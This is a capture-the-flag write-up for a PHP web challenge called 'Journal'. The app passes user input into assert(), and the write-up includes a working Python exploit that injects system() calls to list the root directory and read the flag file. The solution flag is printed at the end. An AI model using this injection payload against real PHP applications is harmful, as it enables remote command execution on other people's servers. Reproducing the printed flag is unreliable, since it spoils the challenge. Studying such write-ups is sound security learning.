# Web - Journal

## Description

dear diary, there is no LFI in this app

## Downloads

{% file src="<https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2FVLhGcbR2iGKikTG67HYh%2Fjournal-dist.zip?alt=media&token=ef2f1680-b983-4985-9ceb-c7c9cd4d89cb>" %}

## Solution

The provided php file:

```php
<?php

echo "<p>Welcome to my journal app!</p>";
echo "<p><a href=/?file=file1.txt>file1.txt</a></p>";
echo "<p><a href=/?file=file2.txt>file2.txt</a></p>";
echo "<p><a href=/?file=file3.txt>file3.txt</a></p>";
echo "<p><a href=/?file=file4.txt>file4.txt</a></p>";
echo "<p><a href=/?file=file5.txt>file5.txt</a></p>";
echo "<p>";

if (isset($_GET['file'])) {
  $file = $_GET['file'];
  $filepath = './files/' . $file;

  assert("strpos('$file', '..') === false") or die("Invalid file!");

  if (file_exists($filepath)) {
    include($filepath);
  } else {
    echo 'File not found!';
  }
}

echo "</p>";
```

It's a simple enough challenge that looks like your typical LFI but like the description says, this is not a LFI challenge.

As it turns out, the `assert()` function basically works like an `eval()` function and we all know the horrors of `eval`. This page on HackTricks explains it all.

<figure><img src="https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2FTtsHFyrnTt9HDnhr5Bw1%2Fimage.png?alt=media&#x26;token=df54f1b0-2582-431e-a80a-51a9b0e58e4e" alt=""><figcaption><p>HackTricks</p></figcaption></figure>

It is also worth noting from the provided docker file that the flag file name is appended with random characters which hinted towards getting an RCE.

<figure><img src="https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2FUFCaSLfbbXCDXxyJbWCo%2Fimage.png?alt=media&#x26;token=fd27a080-93d6-4f30-b750-48262f9f2e9e" alt=""><figcaption><p>Docker file</p></figcaption></figure>

Final solution:

```python
import requests
import urllib.parse
payload = urllib.parse.quote_plus("'.die(system('ls /')).'")
print(requests.get("http://journal.chal.imaginaryctf.org/?file="+payload).text)

payload = urllib.parse.quote_plus("'.die(system('cat /flag-cARdaInFg6dD10uWQQgm.txt')).'")
print(requests.get("http://journal.chal.imaginaryctf.org/?file="+payload).text)
```

Flag: `ictf{assertion_failed_e3106922feb13b10}`